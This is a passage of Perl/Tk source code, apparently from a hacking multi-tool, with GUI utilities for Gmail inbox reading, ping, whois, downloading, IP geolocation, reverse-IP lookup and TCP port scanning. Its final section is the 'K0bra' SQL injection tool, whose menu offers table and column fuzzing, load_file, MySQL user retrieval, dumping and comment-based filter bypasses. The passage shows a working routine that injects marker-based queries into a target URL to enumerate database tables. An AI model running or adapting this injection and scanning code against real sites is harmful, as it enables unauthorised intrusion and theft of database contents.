  818.       ->place( -x => 565, -y => 100 );
  819.     my $password =
  820.       $yeahfucktk->Entry( -width => 30, -show => "*" )
  821.       ->place( -x => 653, -y => 103 );
  822.     $yeahfucktk->Button(
  823.         -text    => "Messages list",
  824.         -width   => 20,
  825.         -command => \&startnow
  826.     )->place( -x => 640, -y => 150 );
  827.  
  828.     MainLoop;
  829.  
  830.     sub startnow {
  831.         $agen->delete( "all", 0 );
  832.         my $total = total( $username->get, $password->get );
  833.         $yeahfucktk->title(
  834. "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : $total messages found"
  835.         );
  836.  
  837.         for ( reverse 1 .. $total ) {
  838.             $yeahfucktk->update;
  839.             $yeahfucktk->title(
  840. "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : Getting message $_"
  841.             );
  842.             my ( $from, $asunto, $date ) =
  843.               getdata( $username->get, $password->get, $_ );
  844.  
  845.             $agen->add($_);
  846.             $agen->itemCreate( $_, 0, -text => $_ );
  847.             $agen->itemCreate( $_, 1, -text => $from );
  848.             $agen->itemCreate( $_, 2, -text => $asunto );
  849.             $agen->itemCreate( $_, 3, -text => $date );
  850.  
  851.         }
  852.         $yeahfucktk->title(
  853.             "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
  854.     }
  855.  
  856.     sub total {
  857.         my $mod_total =
  858.           new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
  859.         my ( $a, $b ) = $mod_total->get_msg_nb_size("TOTAL_MSG");
  860.         return $a;
  861.     }
  862.  
  863.     sub getdata {
  864.  
  865.         my $mod_msg =
  866.           new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
  867.         my @msg = $mod_msg->get_msg( MSG => $_[2] );
  868.  
  869.         my $mas = $msg[0]->{headers};
  870.  
  871.         if ( $mas =~ /From: (.*)/ig ) {
  872.             $from = $1;
  873.         }
  874.  
  875.         if ( $mas =~ /Subject: (.*)/ig ) {
  876.             $asunto = $1;
  877.         }
  878.  
  879.         if ( $mas =~ /Date: (.*)/ig ) {
  880.             $date = $1;
  881.         }
  882.         return ( $from, $asunto, $date );
  883.     }
  884.  
  885.     sub yeah {
  886.         my @ar = $agen->selectionGet();
  887.         openmessage( $username->get, $password->get, $ar[0] );
  888.     }
  889.  
  890.     sub openmessage {
  891.  
  892.         my $cons = MainWindow->new();
  893.         $cons->geometry("500x350+20+20");
  894.         $cons->resizable( 0, 0 );
  895.         $cons->title("Reading message");
  896.  
  897.         my $conso = $cons->Scrolled(
  898.             "ROText",
  899.             -width      => 70,
  900.             -height     => 40,
  901.             -scrollbars => "e"
  902.         )->pack();
  903.  
  904.         my $mod_msg =
  905.           new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
  906.  
  907.         my @msg = $mod_msg->get_msg( MSG => $_[2] );
  908.  
  909.         $conso->insert( "end", "[+] ID : $_[2]\n" );
  910.  
  911.         my $mas = $msg[0]->{headers};
  912.  
  913.         if ( $mas =~ /From: (.*)/ig ) {
  914.             my $from = $1;
  915.             $conso->insert( "end", "[+] From : $from\n" );
  916.         }
  917.  
  918.         if ( $mas =~ /To: (.*)/ig ) {
  919.             my $to = $1;
  920.             $conso->insert( "end", "[+] To : $to\n" );
  921.         }
  922.  
  923.         if ( $mas =~ /Subject: (.*)/ig ) {
  924.             my $asunto = $1;
  925.             $conso->insert( "end", "[+] Subject : $asunto\n" );
  926.         }
  927.  
  928.         if ( $mas =~ /Date: (.*)/ig ) {
  929.             my $date = $1;
  930.             $conso->insert( "end", "[+] Date : $date\n\n" );
  931.         }
  932.  
  933.         my $text = $msg[0]->{body};
  934.         if ( $text =~
  935.             /<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig
  936.           )
  937.         {
  938.             my $body = $1;
  939.             $body =~ s/<br>/\n/g;
  940.  
  941.             my $uno = HTML::Strip->new( emit_spaces => 1 );
  942.             my $body = $uno->parse($body);
  943.             $conso->insert( "end", $body );
  944.         }
  945.     }
  946.  
  947. }    #End
  948.  
  949. sub menu_ping {    #Start
  950.  
  951.     my $sax = MainWindow->new(
  952.         -background => $color_fondo,
  953.         -foreground => $color_texto
  954.     );
  955.     $sax->title("Ping It 0.1 || Coded By Doddy H");
  956.     $sax->geometry("350x130+20+20");
  957.     $sax->resizable( 0, 0 );
  958.  
  959.     $sax->Label(
  960.         -text       => "Host : ",
  961.         -font       => "Impact",
  962.         -background => $color_fondo,
  963.         -foreground => $color_texto
  964.     )->place( -y => 20, -x => 20 );
  965.     my $host = $sax->Entry(
  966.         -width      => 30,
  967.         -background => $color_fondo,
  968.         -foreground => $color_texto
  969.     )->place( -y => 25, -x => 70 );
  970.     $sax->Button(
  971.         -text             => "Ping It",
  972.         -width            => 10,
  973.         -command          => \&pingita,
  974.         -background       => $color_texto,
  975.         -foreground       => $color_fondo,
  976.         -activebackground => $color_texto
  977.     )->place( -y => 23, -x => 260 );
  978.  
  979.     my $stat = $sax->Label(
  980.         -text       => "Status : <None>",
  981.         -font       => "Impact",
  982.         -background => $color_fondo,
  983.         -foreground => $color_texto
  984.     )->place( -y => 80, -x => 110 );
  985.  
  986.     MainLoop;
  987.  
  988.     sub pingita {
  989.  
  990.         $clas = Net::Ping->new("icmp");
  991.         if ( $clas->ping( $host->get ) ) {
  992.             $stat->configure( -text => "The host is alive" );
  993.         }
  994.         else {
  995.             $stat->configure( -text => "The host is offline" );
  996.         }
  997.     }
  998.  
  999. }    #End
  1000.  
  1001. sub menu_whois {    #Start
  1002.  
  1003.     my $newas = MainWindow->new(
  1004.         -background => $color_fondo,
  1005.         -foreground => $color_texto
  1006.     );
  1007.     $newas->geometry("400x300+50+50");
  1008.     $newas->title("Whois Online 0.1 || Coded By Doddy H");
  1009.     $newas->resizable( 0, 0 );
  1010.  
  1011.     $newas->Label(
  1012.         -text       => "Domain : ",
  1013.         -font       => "Impact2",
  1014.         -background => $color_fondo,
  1015.         -foreground => $color_texto
  1016.     )->place( -x => "10", -y => "10" );
  1017.     my $dom = $newas->Entry(
  1018.         -width      => "30",
  1019.         -background => $color_fondo,
  1020.         -foreground => $color_texto
  1021.     )->place( -x => "85", -y => "13" );
  1022.  
  1023.     my $console = $newas->Scrolled(
  1024.         "ROText",
  1025.         -scrollbars => "e",
  1026.         -width      => 36,
  1027.         -height     => 15,
  1028.         -background => $color_fondo,
  1029.         -foreground => $color_texto
  1030.     )->place( -x => 15, -y => 50 );
  1031.  
  1032.     $newas->Button(
  1033.         -text             => "Search",
  1034.         -command          => \&buscar,
  1035.         -width            => "10",
  1036.         -background       => $color_texto,
  1037.         -foreground       => $color_fondo,
  1038.         -activebackground => $color_texto
  1039.     )->place( -x => 310, -y => "50" );
  1040.     $newas->Button(
  1041.         -text             => "Clean",
  1042.         -command          => \&limpiar,
  1043.         -width            => "10",
  1044.         -background       => $color_texto,
  1045.         -foreground       => $color_fondo,
  1046.         -activebackground => $color_texto
  1047.     )->place( -x => 310, -y => "80" );
  1048.     $newas->Button(
  1049.         -text             => "Exit",
  1050.         -command          => \&salir,
  1051.         -width            => "10",
  1052.         -background       => $color_texto,
  1053.         -foreground       => $color_fondo,
  1054.         -activebackground => $color_texto
  1055.     )->place( -x => 310, -y => "110" );
  1056.  
  1057.     MainLoop;
  1058.  
  1059.     sub buscar {
  1060.         $console->delete( "0.1", "end" );
  1061.         my $target = $dom->get;
  1062.         $newas->update;
  1063.         $console->insert( "end", whois($target) );
  1064.         $newas->update;
  1065.     }
  1066.  
  1067.     sub limpiar {
  1068.         $console->delete( "0.1", "end" );
  1069.         $dom->delete( "0.1", "end" );
  1070.     }
  1071.  
  1072.     sub salir {
  1073.         $newas->destroy();
  1074.     }
  1075.  
  1076.     sub whois {
  1077.  
  1078.         my $ob   = shift;
  1079.         my $code = tomar(
  1080.             "http://networking.ringofsaturn.com/Tools/whois.php",
  1081.             { "domain" => $ob, "submit" => "submit" }
  1082.         );
  1083.  
  1084.         my @chau = ( "&quot;", "&gt;&gt;&gt;", "&lt;&lt;&lt;" );
  1085.  
  1086.         if ( $code =~ /<pre>(.*?)<\/pre>/sig ) {
  1087.             my $resul = $1;
  1088.             chomp $resul;
  1089.  
  1090.             for my $cha (@chau) {
  1091.                 $resul =~ s/$cha//ig;
  1092.             }
  1093.  
  1094.             if ( $resul =~ /Whois Server Version/ ) {
  1095.                 return $resul;
  1096.             }
  1097.             else {
  1098.                 return "Not Found";
  1099.             }
  1100.         }
  1101.     }
  1102.  
  1103. }    #End
  1104.  
  1105. sub menu_downloader {    #Start
  1106.  
  1107.     my $dron = MainWindow->new(
  1108.         -background => $color_fondo,
  1109.         -foreground => $color_texto
  1110.     );
  1111.     $dron->geometry("430x70+20+20");
  1112.     $dron->resizable( 0, 0 );
  1113.     $dron->title("Simple Downloader 0.1 || [+] Status : <None>");
  1114.  
  1115.     $dron->Label(
  1116.         -text       => "URL : ",
  1117.         -font       => "Impact",
  1118.         -background => $color_fondo,
  1119.         -foreground => $color_texto
  1120.     )->place( -x => 20, -y => 20 );
  1121.     my $pre = $dron->Entry(
  1122.         -width      => 45,
  1123.         -background => $color_fondo,
  1124.         -foreground => $color_texto
  1125.     )->place( -x => 60, -y => 27 );
  1126.     $dron->Button(
  1127.         -command          => \&now,
  1128.         -text             => "Download",
  1129.         -width            => 10,
  1130.         -background       => $color_texto,
  1131.         -foreground       => $color_fondo,
  1132.         -activebackground => $color_texto
  1133.     )->place( -x => 340, -y => 25 );
  1134.  
  1135.     MainLoop;
  1136.  
  1137.     sub now {
  1138.  
  1139.         my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $pre->get );
  1140.         $dron->title("Simple Downloader 0.1 || [+] Status : Downloading..");
  1141.         if ( $path =~ /(.*)\/(.*)$/ ) {
  1142.             my $file = $2;
  1143.             if ( download( $pre->get, $file ) ) {
  1144.                 $dron->Dialog(
  1145.                     -title            => "OK",
  1146.                     -buttons          => ["OK"],
  1147.                     -text             => "File downloaded",
  1148.                     -background       => $color_fondo,
  1149.                     -foreground       => $color_texto,
  1150.                     -activebackground => $color_texto
  1151.                 )->Show();
  1152.             }
  1153.             else {
  1154.                 $dron->Dialog(
  1155.                     -title            => "Error",
  1156.                     -buttons          => ["OK"],
  1157.                     -text             => "Error",
  1158.                     -background       => $color_fondo,
  1159.                     -foreground       => $color_texto,
  1160.                     -activebackground => $color_texto
  1161.                 )->Show();
  1162.             }
  1163.         }
  1164.         $dron->title("Simple Downloader 0.1 || [+] Status : <None>");
  1165.     }
  1166.  
  1167.     sub download {
  1168.         if ( $nave->mirror( $_[0], $_[1] ) ) {
  1169.             if ( -f $_[1] ) {
  1170.                 return true;
  1171.             }
  1172.         }
  1173.     }
  1174.  
  1175. }    #End
  1176.  
  1177. sub menu_getip {    #Start
  1178.  
  1179.     my $ua = MainWindow->new(
  1180.         -background => $color_fondo,
  1181.         -foreground => $color_texto
  1182.     );
  1183.     $ua->title("Get IP || Coded By Doddy H");
  1184.     $ua->geometry("350x110+20+20");
  1185.     $ua->resizable( 0, 0 );
  1186.  
  1187.     $ua->Label(
  1188.         -text       => "Host : ",
  1189.         -font       => "Impact",
  1190.         -background => $color_fondo,
  1191.         -foreground => $color_texto
  1192.     )->place( -y => 20, -x => 20 );
  1193.     my $host = $ua->Entry(
  1194.         -width      => 30,
  1195.         -background => $color_fondo,
  1196.         -foreground => $color_texto
  1197.     )->place( -y => 25, -x => 70 );
  1198.     $ua->Button(
  1199.         -text             => "Get IP",
  1200.         -width            => 10,
  1201.         -command          => \&quien,
  1202.         -background       => $color_texto,
  1203.         -foreground       => $color_fondo,
  1204.         -activebackground => $color_texto
  1205.     )->place( -y => 23, -x => 260 );
  1206.  
  1207.     $ua->Label(
  1208.         -text       => "IP : ",
  1209.         -font       => "Impact",
  1210.         -background => $color_fondo,
  1211.         -foreground => $color_texto
  1212.     )->place( -y => 60, -x => 20 );
  1213.     my $ip = $ua->Entry(
  1214.         -width      => 33,
  1215.         -background => $color_fondo,
  1216.         -foreground => $color_texto
  1217.     )->place( -y => 65, -x => 52 );
  1218.  
  1219.     MainLoop;
  1220.  
  1221.     sub quien {
  1222.         $ip->configure( -text => get_ip( $host->get ) );
  1223.     }
  1224.  
  1225.     sub get_ip {
  1226.         my $get = gethostbyname( $_[0] );
  1227.         return inet_ntoa($get);
  1228.     }
  1229.  
  1230. }    #End
  1231.  
  1232. sub menu_locate {    #Start
  1233.  
  1234.     $p = MainWindow->new(
  1235.         -background => $color_fondo,
  1236.         -foreground => $color_texto
  1237.     );
  1238.     $p->title("Locate IP 0.4 || Coded By Doddy H");
  1239.     $p->geometry("440x300+20+20");
  1240.     $p->resizable( 0, 0 );
  1241.  
  1242.     $p->Label(
  1243.         -text       => "Target : ",
  1244.         -font       => "Impact",
  1245.         -background => $color_fondo,
  1246.         -foreground => $color_texto
  1247.     )->place( -x => 20, -y => 20 );
  1248.     my $tar = $p->Entry(
  1249.         -width      => 30,
  1250.         -background => $color_fondo,
  1251.         -foreground => $color_texto
  1252.     )->place( -y => 24, -x => 80 );
  1253.     $p->Button(
  1254.         -text             => "Find",
  1255.         -width            => 10,
  1256.         -background       => $color_texto,
  1257.         -foreground       => $color_fondo,
  1258.         -activebackground => $color_texto,
  1259.         -command          => \&st
  1260.     )->place( -y => 23, -x => 272 );
  1261.     $p->Button(
  1262.         -text             => "Logs",
  1263.         -width            => 10,
  1264.         -background       => $color_texto,
  1265.         -foreground       => $color_fondo,
  1266.         -activebackground => $color_texto,
  1267.         -command          => \&openlogsa
  1268.     )->place( -y => 23, -x => 350 );
  1269.  
  1270.     $p->Label(
  1271.         -text       => "Information",
  1272.         -font       => "Impact",
  1273.         -background => $color_fondo,
  1274.         -foreground => $color_texto
  1275.     )->place( -x => 80, -y => 80 );
  1276.  
  1277.     $p->Label(
  1278.         -text       => "City : ",
  1279.         -font       => "Impact1",
  1280.         -background => $color_fondo,
  1281.         -foreground => $color_texto
  1282.     )->place( -y => 140, -x => 23 );
  1283.     my $city = $p->Entry(
  1284.         -width      => 21,
  1285.         -background => $color_fondo,
  1286.         -foreground => $color_texto
  1287.     )->place( -y => 143, -x => 65 );
  1288.  
  1289.     $p->Label(
  1290.         -text       => "Country : ",
  1291.         -font       => "Country",
  1292.         -background => $color_fondo,
  1293.         -foreground => $color_texto
  1294.     )->place( -y => 170, -x => 23 );
  1295.     my $country = $p->Entry(
  1296.         -width      => 17,
  1297.         -background => $color_fondo,
  1298.         -foreground => $color_texto
  1299.     )->place( -y => 173, -x => 90 );
  1300.  
  1301.     $p->Label(
  1302.         -text       => "State : ",
  1303.         -font       => "Impact1",
  1304.         -background => $color_fondo,
  1305.         -foreground => $color_texto
  1306.     )->place( -y => 200, -x => 23 );
  1307.     my $state = $p->Entry(
  1308.         -width      => 20,
  1309.         -background => $color_fondo,
  1310.         -foreground => $color_texto
  1311.     )->place( -y => 203, -x => 75 );
  1312.  
  1313.     $p->Label(
  1314.         -text       => "DNS Found",
  1315.         -font       => "Impact",
  1316.         -background => $color_fondo,
  1317.         -foreground => $color_texto
  1318.     )->place( -y => 80, -x => 285 );
  1319.     my $dns = $p->Listbox(
  1320.         -width      => 30,
  1321.         -background => $color_fondo,
  1322.         -foreground => $color_texto
  1323.     )->place( -x => 230, -y => 130 );
  1324.  
  1325.     MainLoop;
  1326.  
  1327.     sub st {
  1328.  
  1329.         $city->configure( -text => " " );
  1330.         $country->configure( -text => " " );
  1331.         $state->configure( -text => " " );
  1332.         $dns->delete( "0.0", "end" );
  1333.  
  1334.         my $target = $tar->get;
  1335.  
  1336.         savefile( "info-logs.txt", "[+] Target : $target" );
  1337.  
  1338.         my $get    = gethostbyname($target);
  1339.         my $target = inet_ntoa($get);
  1340.  
  1341.         savefile( "info-logs.txt", "[+] IP : $target\n" );
  1342.  
  1343.         $total =
  1344.           "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$target";
  1345.  
  1346.         $re = toma($total);
  1347.  
  1348.         if ( $re =~ /City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  1349.             savefile( "info-logs.txt", "[+] City : $2" );
  1350.             $city->configure( -text => $2 );
  1351.         }
  1352.         else {
  1353.             $city->configure( -text => "Not Found" );
  1354.         }
  1355.         if ( $re =~ /Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  1356.             savefile( "info-logs.txt", "[+] Country : $2" );
  1357.             $country->configure( -text => $2 );
  1358.             print "[+] Country : $2\n";
  1359.         }
  1360.         else {
  1361.             $country->configure( -text => "Not Found" );
  1362.         }
  1363.         if ( $re =~ /State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  1364.             savefile( "info-logs.txt", "[+] State of Region : $2" );
  1365.             $state->configure( -text => $2 );
  1366.         }
  1367.         else {
  1368.             $state->configure( -text => "Not Found" );
  1369.         }
  1370.  
  1371.         my $code = toma( "http://www.ip-adress.com/reverse_ip/" . $target );
  1372.  
  1373.         savefile( "info-logs.txt", "" );
  1374.  
  1375.         while ( $code =~ /whois\/(.*?)\">Whois/g ) {
  1376.             my $dnsa = $1;
  1377.             chomp $dnsa;
  1378.             savefile( "info-logs.txt", "[+] DNS Found : $dnsa" );
  1379.             $dns->insert( "end", $dnsa );
  1380.         }
  1381.         savefile( "info-logs.txt", "\n######################\n" );
  1382.     }
  1383.  
  1384. }    #End
  1385.  
  1386. sub menu_port {    #Start
  1387.  
  1388.     my $kax = MainWindow->new(
  1389.         -background => $color_fondo,
  1390.         -foreground => $color_texto
  1391.     );
  1392.     $kax->geometry("422x130+20+20");
  1393.     $kax->resizable( 0, 0 );
  1394.     $kax->title("Scan Port 0.6 || Coded By Doddy H");
  1395.  
  1396.     $kax->Label(
  1397.         -text       => "Host : ",
  1398.         -font       => "Impact",
  1399.         -background => $color_fondo,
  1400.         -foreground => $color_texto
  1401.     )->place( -x => 20, -y => 20 );
  1402.     my $hostx = $kax->Entry(
  1403.         -width      => 30,
  1404.         -background => $color_fondo,
  1405.         -foreground => $color_texto
  1406.     )->place( -x => 68, -y => 26 );
  1407.     $kax->Label(
  1408.         -text       => "From port : ",
  1409.         -font       => "Impact",
  1410.         -background => $color_fondo,
  1411.         -foreground => $color_texto
  1412.     )->place( -x => 20, -y => 50 );
  1413.     my $startx = $kax->Entry(
  1414.         -width      => 8,
  1415.         -background => $color_fondo,
  1416.         -foreground => $color_texto
  1417.     )->place( -x => 100, -y => 55 );
  1418.     $kax->Label(
  1419.         -text       => "To : ",
  1420.         -font       => "Impact",
  1421.         -background => $color_fondo,
  1422.         -foreground => $color_texto
  1423.     )->place( -x => 170, -y => 50 );
  1424.     my $endx = $kax->Entry(
  1425.         -width      => 8,
  1426.         -background => $color_fondo,
  1427.         -foreground => $color_texto
  1428.     )->place( -x => 200, -y => 55 );
  1429.  
  1430.     $kax->Label(
  1431.         -text       => "Progress : ",
  1432.         -font       => "Impact",
  1433.         -background => $color_fondo,
  1434.         -foreground => $color_texto
  1435.     )->place( -x => 20, -y => 84 );
  1436.     my $tatus = $kax->Entry(
  1437.         -width      => 8,
  1438.         -background => $color_fondo,
  1439.         -foreground => $color_texto
  1440.     )->place( -x => 100, -y => 90 );
  1441.     $kax->Button(
  1442.         -text             => "Fast",
  1443.         -width            => 6,
  1444.         -background       => $color_texto,
  1445.         -foreground       => $color_fondo,
  1446.         -activebackground => $color_texto,
  1447.         -command          => \&scanuno
  1448.     )->place( -x => 158, -y => 88 );
  1449.     $kax->Button(
  1450.         -text             => "Full",
  1451.         -width            => 6,
  1452.         -background       => $color_texto,
  1453.         -foreground       => $color_fondo,
  1454.         -activebackground => $color_texto,
  1455.         -command          => \&scandos
  1456.     )->place( -x => 208, -y => 88 );
  1457.  
  1458.     $kax->Label(
  1459.         -text       => "Port Found",
  1460.         -font       => "Impact",
  1461.         -background => $color_fondo,
  1462.         -foreground => $color_texto
  1463.     )->place( -x => 305, -y => 20 );
  1464.     my $porters = $kax->Listbox(
  1465.         -width      => 20,
  1466.         -height     => 4,
  1467.         -background => $color_fondo,
  1468.         -foreground => $color_texto
  1469.     )->place( -x => 280, -y => 50 );
  1470.  
  1471.     MainLoop;
  1472.  
  1473.     sub scanuno {
  1474.  
  1475.         my %ports = (
  1476.             "21"   => "ftp",
  1477.             "22"   => "ssh",
  1478.             "25"   => "smtp",
  1479.             "80"   => "http",
  1480.             "110"  => "pop3",
  1481.             "3306" => "mysql"
  1482.         );
  1483.  
  1484.         $porters->delete( "0.0", "end" );
  1485.         $tatus->configure( -text => " " );
  1486.  
  1487.         for my $port ( keys %ports ) {
  1488.             $kax->update;
  1489.             $tatus->configure( -text => $port );
  1490.             if (
  1491.                 new IO::Socket::INET(
  1492.                     PeerAddr => $hostx->get,
  1493.                     PeerPort => $port,
  1494.                     Proto    => "tcp",
  1495.                     Timeout  => 0.5
  1496.                 )
  1497.               )
  1498.             {
  1499.                 $porters->insert( "end", $port );
  1500.             }
  1501.         }
  1502.         $tatus->configure( -text => " " );
  1503.     }
  1504.  
  1505.     sub scandos {
  1506.  
  1507.         $porters->delete( "0.0", "end" );
  1508.         $tatus->configure( -text => " " );
  1509.  
  1510.         for my $port ( $startx->get .. $endx->get ) {
  1511.             $kax->update;
  1512.             $tatus->configure( -text => $port );
  1513.             if (
  1514.                 new IO::Socket::INET(
  1515.                     PeerAddr => $hostx->get,
  1516.                     PeerPort => $port,
  1517.                     Proto    => "tcp",
  1518.                     Timeout  => 0.5
  1519.                 )
  1520.               )
  1521.             {
  1522.                 $porters->insert( "end", $port );
  1523.             }
  1524.         }
  1525.         $tatus->configure( -text => " " );
  1526.     }
  1527.  
  1528. }    #End
  1529.  
  1530. sub menu_kobra {    #Start
  1531.  
  1532.     installer();
  1533.  
  1534.     my $logo = MainWindow->new(
  1535.         -background => $color_fondo,
  1536.         -foreground => $color_texto
  1537.     );
  1538.     $logo->title("K0bra 1.6 (C) Doddy Hackman 2012");
  1539.     $logo->geometry("500x620+20+20");
  1540.     $logo->resizable( 0, 0 );
  1541.  
  1542.     $menula = $logo->Frame(
  1543.         -relief     => "sunken",
  1544.         -bd         => 1,
  1545.         -background => $color_fondo,
  1546.         -foreground => $color_texto
  1547.     );
  1548.     my $menulnowaxm = $menula->Menubutton(
  1549.         -text             => "Options",
  1550.         -underline        => 1,
  1551.         -background       => $color_fondo,
  1552.         -foreground       => $color_texto,
  1553.         -activebackground => $color_texto
  1554.     )->pack( -side => "left" );
  1555.     my $aboutnowaxm = $menula->Menubutton(
  1556.         -text             => "About",
  1557.         -underline        => 1,
  1558.         -background       => $color_fondo,
  1559.         -foreground       => $color_texto,
  1560.         -activebackground => $color_texto
  1561.     )->pack( -side => "left" );
  1562.     my $exitnowaxm = $menula->Menubutton(
  1563.         -text             => "Exit",
  1564.         -underline        => 1,
  1565.         -background       => $color_fondo,
  1566.         -foreground       => $color_texto,
  1567.         -activebackground => $color_texto
  1568.     )->pack( -side => "left" );
  1569.     $menula->pack( -side => "top", -fill => "x" );
  1570.  
  1571.     $menulnowaxm->command(
  1572.         -label      => "Scan",
  1573.         -background => $color_fondo,
  1574.         -foreground => $color_texto,
  1575.         -command    => \&nownow
  1576.     );
  1577.     $menulnowaxm->command(
  1578.         -label      => "Scanner without checking",
  1579.         -background => $color_fondo,
  1580.         -foreground => $color_texto,
  1581.         -command    => \&nownownow
  1582.     );
  1583.     $menulnowaxm->command(
  1584.         -label      => "Get Details",
  1585.         -background => $color_fondo,
  1586.         -foreground => $color_texto,
  1587.         -command    => \&details
  1588.     );
  1589.     $menulnowaxm->command(
  1590.         -label      => "Fuzz Tables",
  1591.         -background => $color_fondo,
  1592.         -foreground => $color_texto,
  1593.         -command    => \&fuzz
  1594.     );
  1595.     $menulnowaxm->command(
  1596.         -label      => "Fuzz Columns",
  1597.         -background => $color_fondo,
  1598.         -foreground => $color_texto,
  1599.         -command    => \&fuzzcol
  1600.     );
  1601.     $menulnowaxm->command(
  1602.         -label      => "Mysql User",
  1603.         -background => $color_fondo,
  1604.         -foreground => $color_texto,
  1605.         -command    => \&mynow
  1606.     );
  1607.     $menulnowaxm->command(
  1608.         -label      => "load_file",
  1609.         -background => $color_fondo,
  1610.         -foreground => $color_texto,
  1611.         -command    => \&myfile
  1612.     );
  1613.     $menulnowaxm->command(
  1614.         -label      => "Dump",
  1615.         -background => $color_fondo,
  1616.         -foreground => $color_texto,
  1617.         -command    => \&dum
  1618.     );
  1619.     $menulnowaxm->command(
  1620.         -label      => "Hex",
  1621.         -background => $color_fondo,
  1622.         -foreground => $color_texto,
  1623.         -command    => \&per1
  1624.     );
  1625.     $menulnowaxm->command(
  1626.         -label      => "ASCII",
  1627.         -background => $color_fondo,
  1628.         -foreground => $color_texto,
  1629.         -command    => \&per2
  1630.     );
  1631.     $menulnowaxm->command(
  1632.         -label      => "Logs",
  1633.         -background => $color_fondo,
  1634.         -foreground => $color_texto,
  1635.         -command    => \&openlogsk
  1636.     );
  1637.  
  1638.     $aboutnowaxm->command(
  1639.         -label      => "About",
  1640.         -background => $color_fondo,
  1641.         -foreground => $color_texto,
  1642.         -command    => \&aboutxa
  1643.     );
  1644.  
  1645.     $exitnowaxm->command(
  1646.         -label      => "Exit",
  1647.         -background => $color_fondo,
  1648.         -foreground => $color_texto,
  1649.         -command    => \&exitnow
  1650.     );
  1651.  
  1652.     $logo->Label(
  1653.         -text       => "Target : ",
  1654.         -font       => "Impact",
  1655.         -background => $color_fondo,
  1656.         -foreground => $color_texto
  1657.     )->place( -x => 20, -y => 40 );
  1658.     my $targetero = $logo->Entry(
  1659.         -width      => 65,
  1660.         -text       => "http://127.0.0.1:8080/sql.php?id=1",
  1661.         -background => $color_fondo,
  1662.         -foreground => $color_texto
  1663.     )->place( -y => 43, -x => 80 );
  1664.  
  1665.     $logo->Label(
  1666.         -text       => "Bypass : ",
  1667.         -font       => "Impact",
  1668.         -background => $color_fondo,
  1669.         -foreground => $color_texto
  1670.     )->place( -x => 20, -y => 80 );
  1671.  
  1672.     $logo->Optionmenu(
  1673.         -background       => $color_fondo,
  1674.         -foreground       => $color_texto,
  1675.         -activebackground => $color_texto,
  1676.         -options  => [ [ "--" => "--" ], [ "/*" => "/*" ], [ "%20" => "%20" ] ],
  1677.         -variable => \$var,
  1678.         -textvariable => \$bypass
  1679.     )->place( -x => 90, -y => 82 );
  1680.  
  1681.     $logo->Label(
  1682.         -text       => "Details : ",
  1683.         -font       => "Impact",
  1684.         -background => $color_fondo,
  1685.         -foreground => $color_texto
  1686.     )->place( -y => 190, -x => 60 );
  1687.     my $informatero = $logo->Listbox(
  1688.         -height     => 10,
  1689.         -width      => 50,
  1690.         -background => $color_fondo,
  1691.         -foreground => $color_texto
  1692.     )->place( -y => 150, -x => 130 );
  1693.  
  1694.     $logo->Label(
  1695.         -text       => "Databases",
  1696.         -font       => "Impact",
  1697.         -background => $color_fondo,
  1698.         -foreground => $color_texto
  1699.     )->place( -y => 340, -x => 65 );
  1700.     $logo->Label(
  1701.         -text       => "Tables",
  1702.         -font       => "Impact",
  1703.         -background => $color_fondo,
  1704.         -foreground => $color_texto
  1705.     )->place( -y => 340, -x => 215 );
  1706.     $logo->Label(
  1707.         -text       => "Columns",
  1708.         -font       => "Impact",
  1709.         -background => $color_fondo,
  1710.         -foreground => $color_texto
  1711.     )->place( -y => 340, -x => 345 );
  1712.  
  1713.     my $datero = $logo->Listbox(
  1714.         -width      => 20,
  1715.         -background => $color_fondo,
  1716.         -foreground => $color_texto
  1717.     )->place( -y => 380, -x => 40 );
  1718.     my $tablero = $logo->Listbox(
  1719.         -width      => 20,
  1720.         -background => $color_fondo,
  1721.         -foreground => $color_texto
  1722.     )->place( -y => 380, -x => 180 );
  1723.     my $columnero = $logo->Listbox(
  1724.         -width      => 20,
  1725.         -background => $color_fondo,
  1726.         -foreground => $color_texto
  1727.     )->place( -y => 380, -x => 320 );
  1728.  
  1729.     $logo->Label(
  1730.         -text       => "Status : ",
  1731.         -font       => "Impact",
  1732.         -background => $color_fondo,
  1733.         -foreground => $color_texto
  1734.     )->place( -x => 100, -y => 560 );
  1735.     my $tatus = $logo->Entry(
  1736.         -width      => 35,
  1737.         -background => $color_fondo,
  1738.         -foreground => $color_texto
  1739.     )->place( -x => 160, -y => 563 );
  1740.  
  1741.     $datero->bind( "<Double-1>",    [ \&getdbs ] );
  1742.     $tablero->bind( "<Double-1>",   [ \&schematablesdb ] );
  1743.     $columnero->bind( "<Double-1>", [ \&schemacolumnsdb ] );
  1744.  
  1745.     MainLoop;
  1746.  
  1747.     sub nownownow {
  1748.         motor( $targetero->get, $bypass );
  1749.     }
  1750.  
  1751.     sub fuzz {
  1752.  
  1753.         my $page = $targetero->get;
  1754.         my $save = partimealmedio($page);
  1755.  
  1756.         $tablero->delete( "0.0", "end" );
  1757.  
  1758.         ( $pass1, $pass2 ) = &bypass($bypass);
  1759.         my $count = "0";
  1760.         savefile( $save . ".txt", "\n" );
  1761.         if ( $page =~ /(.*)hackman(.*)/g ) {
  1762.             my $start = $1;
  1763.             my $end   = $2;
  1764.             for my $table (@buscar2) {
  1765.                 chomp $table;
  1766.                 $tatus->configure( -text => "Fuzzing Tables ..." );
  1767.                 $logo->update;
  1768.                 $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))";
  1769.                 $injection =
  1770.                     $start
  1771.                   . $concat
  1772.                   . $end
  1773.                   . $pass1 . "from"
  1774.                   . $pass1
  1775.                   . $table
  1776.                   . $pass2;
  1777.                 $code = toma($injection);
  1778.                 if ( $code =~ /ERTOR854/g ) {
  1779.                     $count++;
  1780.                     $tablero->insert( "end", $table );
  1781.                     savefile( $save . ".txt", "[Table Found] : $table" );
  1782.                 }
  1783.             }
  1784.         }
  1785.         $tatus->configure( -text => " " );
  1786.     }
